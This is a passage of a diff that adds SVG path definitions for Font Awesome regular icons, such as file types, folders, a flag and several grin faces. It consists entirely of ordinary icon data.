9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z" ], + "file-excel": [ 384, 512, [], "f1c3", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z" ], + "file-image": [ 384, 512, [], "f1c5", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z" ], + "file-pdf": [ 384, 512, [], "f1c1", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z" ], + "file-powerpoint": [ 384, 512, [], "f1c4", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z" ], + "file-video": [ 384, 512, [], "f1c8", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z" ], + "file-word": [ 384, 512, [], "f1c2", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z" ], + flag: [ 512, 512, [], "f024", "M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z" ], + flushed: [ 496, 512, [], "f579", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + folder: [ 512, 512, [], "f07b", "M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z" ], + "folder-open": [ 576, 512, [], "f07c", "M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" ], + frown: [ 496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z" ], + "frown-open": [ 496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z" ], + futbol: [ 496, 512, [], "f1e3", "M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z" ], + gem: [ 576, 512, [], "f3a5", "M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z" ], + grimace: [ 496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z" ], + grin: [ 496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + "grin-alt": [ 496, 512, [], "f581", "M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z" ], + "grin-beam": [ 496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z" ], + "grin-beam-sweat": [ 496, 512, [], "f583", "M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" ], + "grin-hearts": [ 496, 512, [], "f584", "M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z" ], + "grin-squint": [ 496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z" ], + "grin-squint-tears": [ 512, 512, [], "f586", "M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z" ], + "grin-stars": [ 496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z" ], + "grin-tears": [ 640, 512, [], "f588", "M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 